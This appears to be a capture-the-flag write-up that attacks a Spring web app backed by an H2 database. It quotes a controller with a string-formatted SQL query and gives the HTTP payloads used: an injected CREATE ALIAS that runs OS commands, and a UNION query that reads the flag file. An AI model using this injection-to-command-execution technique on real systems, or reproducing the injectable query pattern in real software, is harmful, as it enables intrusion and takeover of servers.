Post

Pentest Notes

Pentest Notes

Endpoints

/api/notes - list all available notes.

On clicking any note we also observe another endpoint:

(Response)

1
2
3
4
fetch('/api/note', {
                method: 'POST',
                body: formData
            }

Interacting with endpoints

1
2
3
4
5
6
7
8
9
10
11
GET /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Error 405

1
2
3
4
5
6
7
8
9
10
11
GET /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1
Priority: u=0, i

No error, lists all the notes. Let’s try POST Method.

Can’t post on /api/notes (405). Can post on /api/note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=43E6D8A3973853C4A48413E6F052110E
Upgrade-Insecure-Requests: 1

HTTP/1.1 400 
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 277
Date: Sun, 13 Jul 2025 13:18:38 GMT
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sun Jul 13 13:18:38 UTC 2025</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>

We need to understand the format for POST. Let’s download the challenge files and review source code.

From pom.xml

1
2
3
4
5
6
 <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <scope>runtime</scope>
        </dependency>

We can confirm the database is H2.

From NotesController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@PostMapping("/note")
    public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
        if (httpSession.getAttribute("username") == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
        }
        if (name.contains("$") || name.toLowerCase().contains("concat")) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
        }
        String query = String.format("Select * from notes where name ='%s' ", name);
        List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
        List < Map < String, Object >> result = new ArrayList < > ();
        for (Object[] row: resultList) {
            Map < String, Object > rowMap = new HashMap < > ();
            rowMap.put("ID", row[0]);
            rowMap.put("Name", row[1]);
            rowMap.put("Note", row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }

Payloads

H2 RCE Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=D070850E0F8BC4C10498C75399350445
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

name=pwn';CREATE+ALIAS+EXEC_OS_COMMAND+AS+'
String+exec(String+cmd)+throws+Exception+{Process+process+%3d+Runtime.getRuntime().exec(cmd)%3bScanner+scanner+%3d+new+Scanner(process.getInputStream()).useDelimiter("\\A")%3breturn+scanner.hasNext()+%3f+scanner.next()+%3a+""%3b
}'%3b--

HTTP/1.1 200 
Content-Type: application/json
Date: Sun, 13 Jul 2025 14:06:01 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2

[]

To run commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/note HTTP/1.1
Host: 94.237.50.221:38745
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://94.237.50.221:38745/
Cookie: JSESSIONID=D070850E0F8BC4C10498C75399350445
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

name='UNION+SELECT+1,2,SELECT+EXEC_OS_COMMAND('cat /JN8fe3XRqTYK_flag.txt')%3b--
This post is licensed under CC BY 4.0 by the author.